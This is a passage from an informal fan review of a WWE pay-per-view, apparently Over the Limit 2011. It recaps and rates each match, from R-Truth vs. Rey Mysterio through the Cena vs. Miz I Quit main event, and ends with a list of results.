There are cars on the stage like last year.  One is a Mustang and I can’t tell on the other one.  Lawler points out how stupid it is to be worried about a parking space when you have a match on PPV.  Leave it to the veterans to make sense.  Booker says Truth should have changed his attitude a long time ago.  Is Booker a subtle heel commentator and I’m just missing it?

Rey makes Truth madder and manages to send him to the floor where a hurricanrana from the apron takes him down.  Truth, in his purple shoes, takes over by hammering Rey in the corner.  That gets him nowhere as Rey outmoves him of course.  Cole quotes a Kid Rock song from 2002 by saying it ain’t bragging if you do it and you back it up as Rey is sent to the floor.

Truth keeps stopping Rey when he tries to get something going, including hitting a sitout gordbuster for two.  Lawler seems like he has a cold and Cole makes fun of him for it of course.  Rey makes a comeback and gets a middle rope bulldog for two.  As in Truth was on the middle rope which was a new twist on it.  Springboard cross body and a running kick both get two.

Top rope seated senton hits but Truth gets the spinning forearm which is more spin than forearm out of nowhere for a close two.  Axe kick misses so Rey tries a rollup which doesn’t connect.  The jumping reverse Stunner doesn’t hit so Rey kicks him to the floor.  Truth pulls him off the apron to crotch Rey on the ring skirt which is something that is hardly ever used.  A Downward Spiral ends this clean.  Nice to see Rey lose again.

Rating: C. Pretty dull match here but Truth winning is certainly the right move.  Raw needs more top heels and a crazy man like Truth is a good place to start.  Truth hopefully can now move past Rey and maybe on to a US Title run or a quick feud with Cena perhaps.  Still though, not much of a match but there were enough good spots to make it a good match.  Please though, get him a new finisher other than a Downward Spiral.

Miz says that people say he has no chance of winning tonight.  Those are the same people that said he was a joke or would be fired in three days or he’d cash in MITB and lose but he’s proven them all wrong, which he’ll do again tonight.  Very true actually.  Riley cuts off the catchphrase by saying he’s the new WWE Champion instead of Awesome.

Cole talks about rubbing raw fish on his feet.  “Lawler: You are really an idiot.”

We recap Jackson vs. Barrett.  Corre attacked Jackson because Jackson was starting to think about himself too much.  Jackson keeps trying to beat down Corre so Barrett challenged Jackson to a match for no apparent reason for Barrett’s IC Title.

Intercontinental Title: Ezekiel Jackson vs. Wade Barrett

 

Barrett comes out sans Corre which implies run in to me.  Jackson is freaky big.  Booker talks about Jackson winning his first title, even though this would be his second (ECW Title).  Idiots chant boring about 8 seconds after the bell rings.  Talk about being prejudiced.  Barrett hammers away to start.  It’s a good thing that people sell his punches a lot because he’s the bareknuckles champions or whatever right?

Jackson sends him to the floor and the chase is on.  Jackson catches a big boot attempt as they get back in and runs Barrett over.  Power vs. power here even thought Barrett isn’t much of a power guy.  Cole says the three others are some of the most boring broadcasters he’s ever heard.  Barrett claims a neck injury but is just pretending.  That’s a bad IC Champion!

He sends Big Zeke into the post shoulder first a few times and adds a big boot with Jackson’s head against the post.  Cole has a big surprise for the Lawler match later.  For the love of all things good and holy, let it end there.  Barrett gets a middle rope elbow for two which I hope isn’t your only Macho Man reference tonight.  Cole and Booker argue about sheep and wolves or whatever as Barrett locks on a chinlock.

Wasteland is blocked and Jackson can’t get anywhere as he walks into a kick to the ribs and a pumphandle slam.  Jackson snaps and starts his series of like four slams in a row which I think is kind of a cool idea.  It would hurt your back if you kept having it done to you.  The fans seem to like it too so why not?  Five slams sets up the Torture Rack and here’s Gabriel for the pretty obvious DQ.

Rating: C+. Call me crazy but I liked it.  Jackson with those slams was a surprisingly well received move.  The Torture Rack is a good finisher for him so at least they’re starting to book him right.  The ending is kind of cheap as it’s what we’ve seen for months now, but that’s about what you have to expect.  Somehow Barrett has the longest current title reign in the company.  That’s kind of surprising.

Corre beats down Jackson post match including a Boss Man Slam and a big boot, both from Wade.  No 450 though.

Mason Ryan finds Otunga and McGillicutty down in the back.  They say it was Show and Kane.  Punk says it means they can show how awesome they are.  He barely seems to care about the two guys down.  Punk says walk it off.

Sin Cara vs. Chavo Guerrero

 

The idea here is Chavo claims that he invented most of what Cara does, which isn’t true but it makes for a good storyline.  They’re in the weird lighting again here and Chavo has the shorts back.  Cara takes over with some speed stuff but Chavo stops him, in theory because he knows the moves better and knows how to counter them.

Out to the floor and Cara does his usually awesome stuff but back in the ring a limping Chavo hammers him down into the corner.  Cara hits a nice moonsault press for two.  The lighting thing is a bit annoying in a long match.  It looks like the light is sick or something.  It’s a standard ground game vs. high flying match which is similar to what Chavo owned the world at back in 2000 so this works fine.

We hit the floor again and Cara crushes him with a big dive.  Top rope rana sets up some kicks and a handspring elbow as he channels his inner Tajiri.  Top rope cross body gets two.  Cara keeps trying to speed it up and it’s only kind of working.  A springboard….head drag I guess sends Chavo down again.  I think it was supposed to be La Mistica (headscissors into an armbar) but it wound up looking awful and Cara pins him with it.  Horrible looking botch.

Rating: C. Pretty good match here as Chavo can keep up with Cara.  The ending brings it down a lot though and the lighting thing has to go because now it’s time for Cara to move up to the midcard.  He’s gotten some experience under his belt and it should be enough for him to have some matches with other midcard guys.  He’ll bring in the Mexican audience which is the point of signing him.  Decent enough match though.

More anti-bullying jazz.

Randy and Christian have a quick chat about getting to be champion which doesn’t go much of anywhere other than repeating talking points.

Alberto is here thankfully.  It’s a PPV with a car theme so how could he not be here?  He’s here to talk about immigration apparently as everyone is complaining about various things.  Ok never mind as he wants to talk about not being sad about being in a WWE Title match because his destiny can’t be stopped.  He’ll be champion some day.

Big Show’s music cuts him off and here come the tag champions.  Kane is disappointed that there wasn’t a rapture yesterday because he was looking forward to it.  Alberto bails before getting his head knocked off.

Tag Titles: CM Punk/Mason Ryan vs. Big Show/Kane

 

Kane vs. Ryan to start us off here and the fans chant Batista.  This crowd is getting on my nerves in a hurry.  Power vs. Power of course and here’s Show.  Ryan goes all Big Zeke on him, taking him down with a clothesline.  Off to Punk vs. Show.  The giants take turns beating down Punk, probably jealous of all the hair gel.  Ryan comes in to work on Kane as Punk has the word Macho on his tape.

Show stomps on the steps and it sounds like the building is falling down.  The bulldog out of the corner is blocked and Punk is almost shoved into the big punch.  Instead Punk dropkicks the knee and brings in Ryan who hits an old school Oklahoma Stampede.  Bearhug time and Ryan just throws Kane around which is ultra rare.  Kane grabs a suplex but Punk comes in to stop the tag.

Punk goes up top in a rare move for him.  Is that a theme for this match or something?  The elbow drop from the top misses and I can’t help but smile.  It’s enough to bring in Show who cleans house as he is known to do.  Double chokeslam to Ryan and we’re done.  Sometimes there’s no substitute for just picking someone up and drilling them like that.

Rating: C. For the elbow alone this isn’t a failure.  It’s very cool to see someone throw that out in a tribute to one of the best of all time and something told me it would be Punk.  Just seems like something he’d do.  Anyway, Show and Kane winning isn’t that surprising as it can play into the problems in Nexus a bit more.  This was fine for what it was.

Ad for Capitol Punishment featuring…..President Obama?  It’s one of those fake questions featuring real clips from a press conference.  At least it’s four weeks away.

Divas Title: Brie Bella vs. Kelly Kelly

 

Cole even says this will be boring.  This is about what you would expect: both girls do a few things, neither really are that good, both look good in tiny shorts, which is why they have their jobs I suppose.  LONG armbar by Brie wastes some time.  There’s Twin Magic, X-Factor, Nikki gets the pin.

Rating: F. Dang it why did this have to be long enough to grade?  The match was awful the whole way through as they have no business being on PPV.  Watching Nunzio as the referee and the girls looking good are the only high spots here.  Also, no sign of Kharma.  How in the world can you validate this being on PPV?  I give up.

Cole goes to get ready…..and the world title match is next?  Wow indeed.

We recap Christian vs. Orton.  Basic story here: Christian needs to prove his reign wasn’t a fluke and he needs to prove that he can beat Orton on full rest.  Somehow that takes long enough to heat up some grilled cheese to explain.

Smackdown World Title: Randy Orton vs. Christian

 

Big match intros fill in some time as we have almost an hour and a half left and three matches to go.  Booker talks about how awesome Orton is because of his lineage, even though his grandfather was a relative unknown and his dad was good but not great.  The crowd gets into it a bit and Booker goes into a LONG speech about Christian and hitting the button to make an engine go faster or something.

Anyway, Christian gets a middle rope dropkick for two as he’s controlled so far.  Orton does his apparently now signature toe touching thing on a leapfrog.  The crowd is FAR more into this than the rest of the show combined.  Off to a chinlock by Christian as Booker actually points something out: Christian doesn’t pick guys up that much.  Big old dropkick by Orton but he can’t get much of an advantage going.

Lawler is gone too if I didn’t mention that.  Orton hits a full on superplex for a close two.  Orton fires off those uppercuts with one of them being countered into a backslide for two.  Spinebuster gets two for the Canadian.  They slug it out and Christian goes up for a missile dropkick, only to get caught in a jackknife cover which he reverses into a sunset flip for two.  Christian takes him down again and a swan dive headbutt gets two.

The fans seem to be more behind Christian here, but then again most people don’t care about Orton until he hits the RKO.  Orton starts his stomp.  OH NO!  HE KICKED HIM IN THE FOOT!!!  IT’S UTTER DEVASTATION!!!!!  Kneedrop gets two but Christian gets a Killswitch attempt which is countered into an RKO attempt.  That gets countered into another Killswitch attempt but Orton pulls the legs out and gets a reverse Boston Crab (Billy Goat’s Curse for you Colt Cabana fans) which I’ve never seen in WWE.

Christian grabs the rope but it’s nice to see a new move being thrown out there like that.  He fakes Orton out in the corner and gets a VERY close two off a sunset flip out of the corner.  Important there because the fake out was the same move that Christian got caught in the RKO with in their first title match.  Nice bit of psychology there.

Into the corner again and Christian tries the pendulum kick but Randy grabs the feet and shifts to an elevated DDT for a close two.  Orton loads up the RKO but Christian shoves him off and stars shouting SPEAR.  Ok, enough with the Edge references.  Perhaps it was the SHOUTING THE NAME OF THE MOVE but Orton snaps him off with a powerslam for two.  With Christian down Orton sets for the Punt of all things but he can’t bring himself to do it.

He charges again but Christian pops up with a spear for a VERY close two.  Christian goes into one of his old school fits almost as this is a rather good match.  Christian sets for the Killswitch again but it gets countered as does the second attempt, the first into an RKO attempt and the second into an attempted belly to back suplex.  Christian flips out of it but as he goes for the Killswitch again, it’s RKO time and Orton survives this.

Rating: A-. Very good match here that topped their previous match with them adding the psychology and building on their previous match.  Orton showing respect to Christian like he did before on Smackdown is another nice touch as well as them adding in new stuff to make the match less predictable.  Well done match as Christian continues to impress.

They shake hands post match.

We recap Cole vs. Lawler so excuse me while I baste a turkey.

Ok I’m back now and what a shock it’s still going.  The idea is that Cole and Lawler hate each other and Cole has beaten him twice already.  Lawler has put up his Hall of Fame ring and if he loses he’ll induct Cole into the Hall of Fame.  Also the loser has to kiss the winner’s foot.  Cole also ticked off his muscle in Jack Swagger so he’s on his own here, at least in theory.

Jerry Lawler vs. Michael Cole

 

Remember that Cole has promised some kind of surprise all night.  Cole comes out in a suit and limping.  You can tell it’s officially an injury because he has a doctor’s note.  Or maybe he’s reading his lines.  Apparently it’s because of infected athlete’s foot.  If Cole’s foot goes into Lawler’s mouth Lawler might contract foot and mouth disease.  He gives the note to the referee and the referee rips it up.  RING THE BELL!

Lawler drills him into the corner and pounds away and there go Cole’s pants.  SOLID right hand and a dropkick send Cole to the floor.  Josh says vintage.  Cole manages to send him into the steps a few times and Cole takes the shoe off.  This ticks Jerry off and LAWLER THROWS HIM THROUGH THE COLE MINE!!!!!  Lawler celebrates the thing exploding which is a legit funny moment.  Middle rope punch brings the strap down and WE ARE DONE!  That made me smile.  No rating as it was total domination but still, awesome moment as Jerry destroyed him.

Jerry starts unzipping his boot but has an idea.  He waves someone out and here comes Eve.  She drills him with a moonsault as this is turning into exactly what it should have been.  Lawler still isn’t done as he waves out JR!  Appropriately enough JR has barbecue sauce.  He pours it into Cole’s mouth until it overflows and all over his face.  This is great.  Cole gets to the floor and tries to leave and says that he’s not a loser.  It’s Lawler and all the people that are losers.  He’s not going to kiss his……..BRET HART IS HERE!!!!!

THIS is what I mean when I say they need to give old school fans something special.  And before you ask, remember that it was Bret and Lawler in the first kiss my foot match.  Sharpshooter goes on the pencils that Cole calls legs and it’s time to kiss the feet, complete with barbecue sauce.  Cole is left totally destroyed and Bret’s music plays us out.  PERFECT ending to this segment as Cole is completely and utterly destroyed.

JR jumps in on commentary for the main event.

They show the replay a bunch of times and Cole’s face is priceless.

That’s What I Am video, which actually wasn’t all that bad.

We recap Miz vs. Cena.  More or less Cena got to pick the stips because it’s a match he flat out doesn’t lose.  This is their third PPV match so I kind of like the idea of having the odds stacked so high against Miz because he can say he didn’t deserve to lose but at the same time they’re almost too high.

Raw World Title: The Miz vs. John Cena

 

I Quit rules here and they have a LOT of time.  Miz has the coat again which is always a perk.  It’s only 20 past ten so they have a TON of time.  Miz grabs the mic and says that since there are no rules Riley is going to help him.  That helps a bit.  Riley more or less plays spoiler here as he breaks up an early STF attempt.  This is pretty smart actually.

The dueling chants begin as Cena puts Riley on the floor.  Cena initiates his ending sequence quickly but Miz countered into a Skull Crushing Finale attempt.  He walks into an FU but Riley pops in to massacre him with about 12 briefcase shots.  Double powerbomb out of the corner but Cena says no.  Booker more or less ends his employment by saying Cena has limited skills/abilities.  Well he has a job on the internet for life.

More beatings follow and Cena is sent into the barricade, drawing a no.  They set up the table and Miz hits a monitor shot to the head.  This is getting a bit brutal here.  Cena drills Riley and comes back on Miz but gets sent into the steps.  DDT on the steps and Cena doesn’t give up still.  That one was more meager though.  Miz cuts a short promo on Cena, saying that if he doesn’t give up Riley will slam the steps onto Cena’s ribs.  Cena say go away and there are the steps for him.

Riley gets in the ring and holds Cena’s arms back.  Miz says he has a weapon and will hit him with it if Cena doesn’t give up.  “You hit like a girl.”  That of course gets a no.  Miz GOES OFF on Cena who more or less tries in vain to cover up.  He still won’t quit though.  There are some sick marks all over Cena’s stomach from that stick.  This has been about 95% Miz/Riley.

The go up to the stage and Miz suplexes him on the stage.  Cena is screaming loudly but still won’t quit.  Matthews asks about Cena’s breaking point.  Haven’t we seen that show already?  Miz gets a running boot to the head to kick Cena off the stage.  Cena STILL won’t say he quits but he doesn’t say no for awhile this time.  They get a boom mic and a leather belt.  Miz talks to Cena on the mic again but Cena STILL won’t quit even at the threat of a whipping.  “You have a leather strap but you got no nuts.”

Cena more or less stops reacting other than sticking his leg up to try to block the belt shots.  He STILL says no, almost through tears.  They head back to the ring and Cena somehow keeps fighting but a chair to the ribs and back stops that run.  This is getting pretty awesome as it’s looking almost impossible for him to come back here and that Miz has the perfect plan.

Back in the ring and Cena AGAIN fights back.  And there goes the referee.  Cena can’t get the FU on Riley but Miz takes him down one more time.  He puts the chair between the ropes and it’s a Skull Crushing Finale THROUGH the chair which looks like it bent a bit.  Booker: “They seem like they’re trying to hurt him.”  Get this man off my commentary NOW.

Miz says maybe he needs to make this a bit more personal.  He goes to a fan and asks if Cena is his hero.  The kid says yes and he wants to know if he wants Cena to quit.  The kid says never.  Mic shot still gets a no from the fan.  Miz GOES OFF on the fan and the fan shrugs his shoulder.  Get actors next time Vince as the fan is hilarious here.  Miz threatens Cena with a ton of chair shots as he’s stuck in part of the barricade now.  Cena says the kids are smarter than he is which gets no reaction really.

BIG chair shot over the head for that one and now Riley wants him to say it.  THEY ACTUALLY DO THE RECORDED VOICE BIT!!!  Cena clearly didn’t move but a voiceover of him said it.  The referee wants the belt but he finds the tape recorder.  I think he’s calling shenanigans here.  It’s Riley’s phone so RESTART IT!  Riley sets for a belt shot but it takes Miz out instead.  FU to Riley through the table and Cena takes his own belt off.  A bunch of whippings and Miz quits like a girl to the STF (Cena said it earlier, not me).

Rating: B+. This is a very hit or miss match much like the I Quit match against Orton at Breaking Point in 2009.  You really have to check your brain at the door for this one but at the same time that makes it work.  They got brutal with this one and that made it work very well in the end of it all.  I got into it for a lot in there and the restart made sense too.  Good match, not for everyone though.

Overall Rating: B. Call this one a pleasant surprise.  I was thinking this would be nothing but we got two great matches and a great moment with Cole and Lawler.  The rest isn’t great but it’s certainly not all that bad.  I liked this show actually and it worked quite well all things considered.  When you have zero expectations and get a decent show with a very good final hour and a half or so, things are definitely looking up for it.  Good show overall.

Results

R-Truth b. Rey Mysterio – Downward Spiral

Ezekiel Jackson b. Wade Barrett via DQ when Justin Gabriel interfered

Sin Cara b. Chavo Guerrero – Headscissors

Big Show/Kane b. Mason Ryan/CM Punk – Double Chokeslam to Ryan

Brie Bella b. Kelly Kelly – Bella Buster

Randy Orton b. Christian – RKO

Jerry Lawler b. Michael Cole – Middle Rope Punch

John Cena b. The Miz – Miz said I Quit